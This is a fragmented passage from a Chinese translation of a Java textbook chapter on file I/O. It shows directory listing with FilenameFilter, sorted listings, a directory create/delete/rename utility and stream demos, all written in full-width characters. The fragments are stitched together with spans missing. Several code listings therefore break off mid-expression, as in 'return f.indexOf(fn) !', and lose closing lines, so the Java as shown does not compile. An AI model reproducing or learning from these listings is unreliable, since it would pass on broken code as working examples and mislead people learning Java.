    {"text": "２８９ ｐｕｂｌｉｃ ｃｌａｓｓ ＤｉｒＬｉｓｔ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ ｆｉｌｔｅｒ（ｆｉｎａｌ Ｓｔｒｉｎｇ ａｆｎ） ｛ ／／ Ｃｒｅａｔｉｏｎ ｏｆ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ： ｒｅｔｕｒｎ ｎｅｗ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ（） ｛ Ｓｔｒｉｎｇ ｆｎ ＝ ａｆｎ； ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｃｅｐｔ（Ｆｉｌｅ ｄｉｒ， Ｓｔｒｉｎｇ ｎ） ｛ ／／ Ｓｔｒｉｐ ｐａｔｈ ｉｎｆｏｒｍａｔｉｏｎ： Ｓｔｒｉｎｇ ｆ ＝ ｎｅｗ Ｆｉｌｅ（ｎ）．ｇｅｔＮａｍｅ（）； ｒｅｔｕｒｎ ｆ．ｉｎｄｅｘＯｆ（ｆｎ） ！"},
    {"text": "／／ Ｅｎｄ ｏｆ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ Ｆｉｌｅ ｐａｔｈ ＝ ｎｅｗ Ｆｉｌｅ（＂．＂）； Ｓｔｒｉｎｇ［］ ｌｉｓｔ； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０） ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（）； ｅｌｓｅ ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（ｆｉｌｔｅｒ（ａｒｇｓ［０］））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｉｓｔ［ｉ］）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｝ ／／／：￣ 注意 ｆｉｌｔｅｒ（）的自变量必须是 ｆｉｎａｌ。"},
    {"text": "如下所示： ／／： ＤｉｒＬｉｓｔ３．ｊａｖａ ／／ Ｂｕｉｌｄｉｎｇ ｔｈｅ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ ＂ｉｎ－ｐｌａｃｅ＂ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤｉｒＬｉｓｔ３ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（ｆｉｎａｌ Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ Ｆｉｌｅ ｐａｔｈ ＝ ｎｅｗ Ｆｉｌｅ（＂．＂）； Ｓｔｒｉｎｇ［］ ｌｉｓｔ； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０） ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（）； ｅｌｓｅ ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（ ｎｅｗ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ（） ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｃｅｐｔ（Ｆｉｌｅ ｄｉｒ， Ｓｔｒｉｎｇ ｎ） ｛ Ｓｔｒｉｎｇ ｆ ＝ ｎｅｗ Ｆｉｌｅ（ｎ）．ｇｅｔＮａｍｅ（）； ２９０ ｒｅｔｕｒｎ ｆ．ｉｎｄｅｘＯｆ（ａｒｇｓ［０］） ！"},
    {"text": "ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｉｓｔ［ｉ］）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "由于 Ｊａｖａ １．０ 和 Ｊａｖａ １．１ 都没有提供对排序的支持（从 Ｊａｖａ １．２ 开始提供），所以必须用第 ８ 章创建的 ＳｏｒｔＶｅｃｔｏｒ 将这一能力直接加入自己的程序。"},
    {"text": "就象下面这样： ／／： ＳｏｒｔｅｄＤｉｒＬｉｓｔ．ｊａｖａ ／／ Ｄｉｓｐｌａｙｓ ｓｏｒｔｅｄ ｄｉｒｅｃｔｏｒｙ ｌｉｓｔｉｎｇ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｃ０８．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＳｏｒｔｅｄＤｉｒＬｉｓｔ ｛ ｐｒｉｖａｔｅ Ｆｉｌｅ ｐａｔｈ； ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ［］ ｌｉｓｔ； ｐｕｂｌｉｃ ＳｏｒｔｅｄＤｉｒＬｉｓｔ（ｆｉｎａｌ Ｓｔｒｉｎｇ ａｆｎ） ｛ ｐａｔｈ ＝ ｎｅｗ Ｆｉｌｅ（＂．＂）； ｉｆ（ａｆｎ ＝＝ ｎｕｌｌ） ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（）； ｅｌｓｅ ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（ ｎｅｗ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ（） ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｃｅｐｔ（Ｆｉｌｅ ｄｉｒ， Ｓｔｒｉｎｇ ｎ） ｛ Ｓｔｒｉｎｇ ｆ ＝ ｎｅｗ Ｆｉｌｅ（ｎ）．ｇｅｔＮａｍｅ（）； ｒｅｔｕｒｎ ｆ．ｉｎｄｅｘＯｆ（ａｆｎ） ！"},
    {"text": "ｓｏｒｔ（）； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｉｓｔ［ｉ］）； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｓｏｒｔ（） ｛ ＳｔｒＳｏｒｔＶｅｃｔｏｒ ｓｖ ＝ ｎｅｗ ＳｔｒＳｏｒｔＶｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） ｓｖ．ａｄｄＥｌｅｍｅｎｔ（ｌｉｓｔ［ｉ］）； ／／ Ｔｈｅ ｆｉｒｓｔ ｔｉｍｅ ａｎ ｅｌｅｍｅｎｔ ｉｓ ｐｕｌｌｅｄ ｆｒｏｍ ２９１ ／／ ｔｈｅ ＳｔｒＳｏｒｔＶｅｃｔｏｒ ｔｈｅ ｌｉｓｔ ｉｓ ｓｏｒｔｅｄ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） ｌｉｓｔ［ｉ］ ＝ ｓｖ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｝ ／／ Ｔｅｓｔ ｉｔ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＳｏｒｔｅｄＤｉｒＬｉｓｔ ｓｄ； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０） ｓｄ ＝ ｎｅｗ ＳｏｒｔｅｄＤｉｒＬｉｓｔ（ｎｕｌｌ）； ｅｌｓｅ ｓｄ ＝ ｎｅｗ ＳｏｒｔｅｄＤｉｒＬｉｓｔ（ａｒｇｓ［０］）； ｓｄ．ｐｒｉｎｔ（）；"},
    {"text": "不再是将 ｐａｔｈ（路径）和 ｌｉｓｔ（列表）创建为 ｍａｉｎ（）的本地变量，它们变成了 类的成员，使它们的值能在对象“生存”期间方便地访问。"},
    {"text": "１ ０ ． ４ ． ２ 检查与创建目录 Ｆｉｌｅ 类并不仅仅是对现有目录路径、文件或者文件组的一个表示。 亦可用一个 Ｆｉｌｅ 对象新建一个目录，甚 至创建一个完整的目录路径——假如它尚不存在的话。 亦可用它了解文件的属性（长度、上一次修改日期、 读／写属性等），检查一个 Ｆｉｌｅ 对象到底代表一个文件还是一个目录，以及删除一个文件等等。"},
    {"text": "下列程序完 整展示了如何运用 Ｆｉｌｅ 类剩下的这些方法： ／／： ＭａｋｅＤｉｒｅｃｔｏｒｉｅｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ｕｓｅ ｏｆ ｔｈｅ Ｆｉｌｅ ｃｌａｓｓ ｔｏ ／／ ｃｒｅａｔｅ ｄｉｒｅｃｔｏｒｉｅｓ ａｎｄ ｍａｎｉｐｕｌａｔｅ ｆｉｌｅｓ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＭａｋｅＤｉｒｅｃｔｏｒｉｅｓ ｛ ｐｒｉｖａｔｅ ｆｉｎａｌ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｕｓａｇｅ ＝ ＂Ｕｓａｇｅ：ＭａｋｅＤｉｒｅｃｔｏｒｉｅｓ ｐａｔｈ１ ．．．＼ｎ＂ ＋ ＂Ｃｒｅａｔｅｓ ｅａｃｈ ｐａｔｈ＼ｎ＂ ＋ ＂Ｕｓａｇｅ：ＭａｋｅＤｉｒｅｃｔｏｒｉｅｓ －ｄ ｐａｔｈ１ ．．．＼ｎ＂ ＋ ＂Ｄｅｌｅｔｅｓ ｅａｃｈ ｐａｔｈ＼ｎ＂ ＋ ＂Ｕｓａｇｅ：ＭａｋｅＤｉｒｅｃｔｏｒｉｅｓ －ｒ ｐａｔｈ１ ｐａｔｈ２＼ｎ＂ ＋ ＂Ｒｅｎａｍｅｓ ｆｒｏｍ ｐａｔｈ１ ｔｏ ｐａｔｈ２＼ｎ＂；"},
    {"text": "ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｖｏｉｄ ｕｓａｇｅ（） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ｕｓａｇｅ）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）；"},
    {"text": "｝ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｖｏｉｄ ｆｉｌｅＤａｔａ（Ｆｉｌｅ ｆ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ａｂｓｏｌｕｔｅ ｐａｔｈ： ＂ ＋ ｆ．ｇｅｔＡｂｓｏｌｕｔｅＰａｔｈ（） ＋ ＂＼ｎ Ｃａｎ ｒｅａｄ： ＂ ＋ ｆ．ｃａｎＲｅａｄ（） ＋ ＂＼ｎ Ｃａｎ ｗｒｉｔｅ： ＂ ＋ ｆ．ｃａｎＷｒｉｔｅ（） ＋ ＂＼ｎ ｇｅｔＮａｍｅ： ＂ ＋ ｆ．ｇｅｔＮａｍｅ（） ＋ ＂＼ｎ ｇｅｔＰａｒｅｎｔ： ＂ ＋ ｆ．ｇｅｔＰａｒｅｎｔ（） ＋ ２９２ ＂＼ｎ ｇｅｔＰａｔｈ： ＂ ＋ ｆ．ｇｅｔＰａｔｈ（） ＋ ＂＼ｎ ｌｅｎｇｔｈ： ＂ ＋ ｆ．ｌｅｎｇｔｈ（） ＋ ＂＼ｎ ｌａｓｔＭｏｄｉｆｉｅｄ： ＂ ＋ ｆ．ｌａｓｔＭｏｄｉｆｉｅｄ（））；"},
    {"text": "ｉｆ（ｆ．ｉｓＦｉｌｅ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉｔ＇ｓ ａ ｆｉｌｅ＂）； ｅｌｓｅ ｉｆ（ｆ．ｉｓＤｉｒｅｃｔｏｒｙ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉｔ＇ｓ ａ ｄｉｒｅｃｔｏｒｙ＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＜ １） ｕｓａｇｅ（）； ｉｆ（ａｒｇｓ［０］．ｅｑｕａｌｓ（＂－ｒ＂）） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ！ ＝ ３） ｕｓａｇｅ（）； Ｆｉｌｅ ｏｌｄ ＝ ｎｅｗ Ｆｉｌｅ（ａｒｇｓ［１］）， ｒｎａｍｅ ＝ ｎｅｗ Ｆｉｌｅ（ａｒｇｓ［２］）； ｏｌｄ．ｒｅｎａｍｅＴｏ（ｒｎａｍｅ）； ｆｉｌｅＤａｔａ（ｏｌｄ）； ｆｉｌｅＤａｔａ（ｒｎａｍｅ）； ｒｅｔｕｒｎ； ／／ Ｅｘｉｔ ｍａｉｎ ｝ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｂｏｏｌｅａｎ ｄｅｌ ＝ ｆａｌｓｅ； ｉｆ（ａｒｇｓ［０］．ｅｑｕａｌｓ（＂－ｄ＂）） ｛ ｃｏｕｎｔ＋＋； ｄｅｌ ＝ ｔｒｕｅ； ｝ ｆｏｒ（ ； ｃｏｕｎｔ ＜ ａｒｇｓ．ｌｅｎｇｔｈ； ｃｏｕｎｔ＋＋） ｛ Ｆｉｌｅ ｆ ＝ ｎｅｗ Ｆｉｌｅ（ａｒｇｓ［ｃｏｕｎｔ］）； ｉｆ（ｆ．ｅｘｉｓｔｓ（）） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｆ ＋ ＂ ｅｘｉｓｔｓ＂）； ｉｆ（ｄｅｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｄｅｌｅｔｉｎｇ．．．＂ ＋ ｆ）； ｆ．ｄｅｌｅｔｅ（）； ｝ ｝ ｅｌｓｅ ｛ ／／ Ｄｏｅｓｎ＇ｔ ｅｘｉｓｔ ｉｆ（！ ｄｅｌ） ｛ ｆ．ｍｋｄｉｒｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃｒｅａｔｅｄ ＂ ＋ ｆ）； ｝ ｝ ｆｉｌｅＤａｔａ（ｆ）；"},
    {"text": "ｍａｉｎ（）应用的第一个方法是 ｒｅｎａｍｅＴｏ（），利用它可以重命名（或移动）一个文件至一个全新的路径（该路径 由参数决定），它属于另一个 Ｆｉｌｅ 对象。"},
    {"text": "／／： ＩＯＳｔｒｅａｍＤｅｍｏ．ｊａｖａ ／／ Ｔｙｐｉｃａｌ ＩＯ Ｓｔｒｅａｍ Ｃｏｎｆｉｇｕｒａｔｉｏｎｓ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｉｍｐｏｒｔ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＩＯＳｔｒｅａｍＤｅｍｏ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ／／ １． Ｂｕｆｆｅｒｅｄ ｉｎｐｕｔ ｆｉｌｅ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（ａｒｇｓ［０］）））； Ｓｔｒｉｎｇ ｓ， ｓ２ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｗｈｉｌｅ（（ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（））！ ＝ ｎｕｌｌ） ｓ２ ＋＝ ｓ ＋ ＂＼ｎ＂； ｉｎ．ｃｌｏｓｅ（）； ／／ ２． Ｉｎｐｕｔ ｆｒｏｍ ｍｅｍｏｒｙ ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ ｉｎ２ ＝ ｎｅｗ ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ（ｓ２）； ｉｎｔ ｃ； ｗｈｉｌｅ（（ｃ ＝ ｉｎ２．ｒｅａｄ（）） ！ ＝ －１） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（（ｃｈａｒ）ｃ）； ／／ ３． Ｆｏｒｍａｔｔｅｄ ｍｅｍｏｒｙ ｉｎｐｕｔ ｔｒｙ ｛ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ３ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ（ｓ２））； ｗｈｉｌｅ（ｔｒｕｅ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（（ｃｈａｒ）ｉｎ３．ｒｅａｄＢｙｔｅ（））； ｝ ｃａｔｃｈ（ＥＯＦＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｅｎｄ ｏｆ ｓｔｒｅａｍ ｅｎｃｏｕｎｔｅｒｅｄ＂）； ｝ ／／ ４． Ｌｉｎｅ ｎｕｍｂｅｒｉｎｇ ＆ ｆｉｌｅ ｏｕｔｐｕｔ ｔｒｙ ｛ ＬｉｎｅＮｕｍｂｅｒＩｎｐｕｔＳｔｒｅａｍ ｌｉ ＝ ｎｅｗ ＬｉｎｅＮｕｍｂｅｒＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ（ｓ２））； ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ４ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ｌｉ）； ＰｒｉｎｔＳｔｒｅａｍ ｏｕｔ１ ＝ ｎｅｗ ＰｒｉｎｔＳｔｒｅａｍ（ ２９４ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（ ＂ＩＯＤｅｍｏ．ｏｕｔ＂）））； ｗｈｉｌｅ（（ｓ ＝ ｉｎ４．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ ） ｏｕｔ１．ｐｒｉｎｔｌｎ（ ＂Ｌｉｎｅ ＂ ＋ ｌｉ．ｇｅｔＬｉｎｅＮｕｍｂｅｒ（） ＋ ｓ）； ｏｕｔ１．ｃｌｏｓｅ（）； ／／ ｆｉｎａｌｉｚｅ（） ｎｏｔ ｒｅｌｉａｂｌｅ！ ｝ ｃａｔｃｈ（ＥＯＦＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｅｎｄ ｏｆ ｓｔｒｅａｍ ｅｎｃｏｕｎｔｅｒｅｄ＂）； ｝ ／／ ５． Ｓｔｏｒｉｎｇ ＆ ｒｅｃｏｖｅｒｉｎｇ ｄａｔａ ｔｒｙ ｛ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ２ ＝ ｎｅｗ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂Ｄａｔａ．ｔｘｔ＂）））； ｏｕｔ２．ｗｒｉｔｅＢｙｔｅｓ（ ＂Ｈｅｒｅ＇ｓ ｔｈｅ ｖａｌｕｅ ｏｆ ｐｉ： ＼ｎ＂）； ｏｕｔ２．ｗｒｉｔｅＤｏｕｂｌｅ（３．１４１５９）； ｏｕｔ２．ｃｌｏｓｅ（）； ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ５ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂Ｄａｔａ．ｔｘｔ＂）））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎ５．ｒｅａｄＬｉｎｅ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎ５．ｒｅａｄＤｏｕｂｌｅ（））； ｝ ｃａｔｃｈ（ＥＯＦＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｅｎｄ ｏｆ ｓｔｒｅａｍ ｅｎｃｏｕｎｔｅｒｅｄ＂）； ｝ ／／ ６． Ｒｅａｄｉｎｇ／ｗｒｉｔｉｎｇ ｒａｎｄｏｍ ａｃｃｅｓｓ ｆｉｌｅｓ ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ ｒｆ ＝ ｎｅｗ ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ（＂ｒｔｅｓｔ．ｄａｔ＂， ＂ｒｗ＂）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｒｆ．ｗｒｉｔｅＤｏｕｂｌｅ（ｉ＊１．４１４）； ｒｆ．ｃｌｏｓｅ（）； ｒｆ ＝ ｎｅｗ ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ（＂ｒｔｅｓｔ．ｄａｔ＂， ＂ｒｗ＂）； ｒｆ．ｓｅｅｋ（５＊８）； ｒｆ．ｗｒｉｔｅＤｏｕｂｌｅ（４７．０００１）； ｒｆ．ｃｌｏｓｅ（）； ｒｆ ＝ ｎｅｗ ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ（＂ｒｔｅｓｔ．ｄａｔ＂， ＂ｒ＂）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｖａｌｕｅ ＂ ＋ ｉ ＋ ＂： ＂ ＋ ｒｆ．ｒｅａｄＤｏｕｂｌｅ（））； ２９５ ｒｆ．ｃｌｏｓｅ（）； ／／ ７． Ｆｉｌｅ ｉｎｐｕｔ ｓｈｏｒｔｈａｎｄ ＩｎＦｉｌｅ ｉｎ６ ＝ ｎｅｗ ＩｎＦｉｌｅ（ａｒｇｓ［０］）； Ｓｔｒｉｎｇ ｓ３ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｆｉｒｓｔ ｌｉｎｅ ｉｎ ｆｉｌｅ： ＂ ＋ ｉｎ６．ｒｅａｄＬｉｎｅ（））；"},
    {"text": "ｉｎ６．ｃｌｏｓｅ（）； ／／ ８． Ｆｏｒｍａｔｔｅｄ ｆｉｌｅ ｏｕｔｐｕｔ ｓｈｏｒｔｈａｎｄ ＰｒｉｎｔＦｉｌｅ ｏｕｔ３ ＝ ｎｅｗ ＰｒｉｎｔＦｉｌｅ（＂Ｄａｔａ２．ｔｘｔ＂）； ｏｕｔ３．ｐｒｉｎｔ（＂Ｔｅｓｔ ｏｆ ＰｒｉｎｔＦｉｌｅ＂）； ｏｕｔ３．ｃｌｏｓｅ（）； ／／ ９． Ｄａｔａ ｆｉｌｅ ｏｕｔｐｕｔ ｓｈｏｒｔｈａｎｄ ＯｕｔＦｉｌｅ ｏｕｔ４ ＝ ｎｅｗ ＯｕｔＦｉｌｅ（＂Ｄａｔａ３．ｔｘｔ＂）； ｏｕｔ４．ｗｒｉｔｅＢｙｔｅｓ（＂Ｔｅｓｔ ｏｆ ｏｕｔＤａｔａＦｉｌｅ＼ｎ＼ｒ＂）； ｏｕｔ４．ｗｒｉｔｅＣｈａｒｓ（＂Ｔｅｓｔ ｏｆ ｏｕｔＤａｔａＦｉｌｅ＼ｎ＼ｒ＂）； ｏｕｔ４．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｆｉｌｅ Ｎｏｔ Ｆｏｕｎｄ：＂ ＋ ａｒｇｓ［０］）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＩＯ Ｅｘｃｅｐｔｉｏｎ＂）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ １ ０ ． ５ ． １ 输入流 当然，我们经常想做的一件事情是将格式化的输出打印到控制台，但那已在第 ５ 章创建的 ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ 中得到了简化。"},
    {"text": "１． 缓冲的输入文件 为打开一个文件以便输入，需要使用一个 ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ，同时将一个 Ｓｔｒｉｎｇ 或 Ｆｉｌｅ 对象作为文件名使 用。"},
    {"text": "在 Ｊａｖａ １．１ 中，必须明确调用 Ｓｙｓｔｅｍ．ｒｕｎＦｉｎａｌｉｚｅｒｓＯｎＥｘｉｔ（ｔｒｕｅ），用它保证会为系统中的每个对象调用 ｆｉｎａｌｉｚｅ（）。"},
    {"text": "２． 从内存输入 这一部分采用已经包含了完整文件内容的 Ｓｔｒｉｎｇ ｓ２，并用它创建一个 ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ（字串缓冲 ２９６ 输入流）——作为构建器的参数，要求使用一个 Ｓｔｒｉｎｇ，而非一个 ＳｔｒｉｎｇＢｕｆｆｅｒ）。"},
    {"text": "３． 格式化内存输入 ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ 的接口是有限的，所以通常需要将其封装到一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 内，从而增强 它的能力。"},
    {"text": "下面这个例子展示了如何从文件中 一次读出一个字符： ／／： ＴｅｓｔＥＯＦ．ｊａｖａ ／／ Ｔｅｓｔｉｎｇ ｆｏｒ ｔｈｅ ｅｎｄ ｏｆ ｆｉｌｅ ｗｈｉｌｅ ｒｅａｄｉｎｇ ／／ ａ ｂｙｔｅ ａｔ ａ ｔｉｍｅ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｓｔＥＯＦ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂ＴｅｓｔＥｏｆ．ｊａｖａ＂）））；"},
    {"text": "ｗｈｉｌｅ（ｉｎ．ａｖａｉｌａｂｌｅ（） ！ ＝ ０） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（（ｃｈａｒ）ｉｎ．ｒｅａｄＢｙｔｅ（））； ｝ ｃａｔｃｈ （ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂ＩＯＥｘｃｅｐｔｉｏｎ＂）；"},
    {"text": "在这里，不可简单地将所有构建器都组 合起来，因为必须保持 ＬｉｎｅＮｕｍｂｅｒＩｎｐｕｔＳｔｒｅａｍ 的一个句柄（注意这并非一种继承环境，所以不能简单地将 ｉｎ４ 造型到一个 ＬｉｎｅＮｕｍｂｅｒＩｎｐｕｔＳｔｒｅａｍ）。"},
    {"text": "因此，ｌｉ 容纳了指向 ＬｉｎｅＮｕｍｂｅｒＩｎｐｕｔＳｔｒｅａｍ 的句柄，然后在 它的基础上创建一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ，以便读入数据。"},
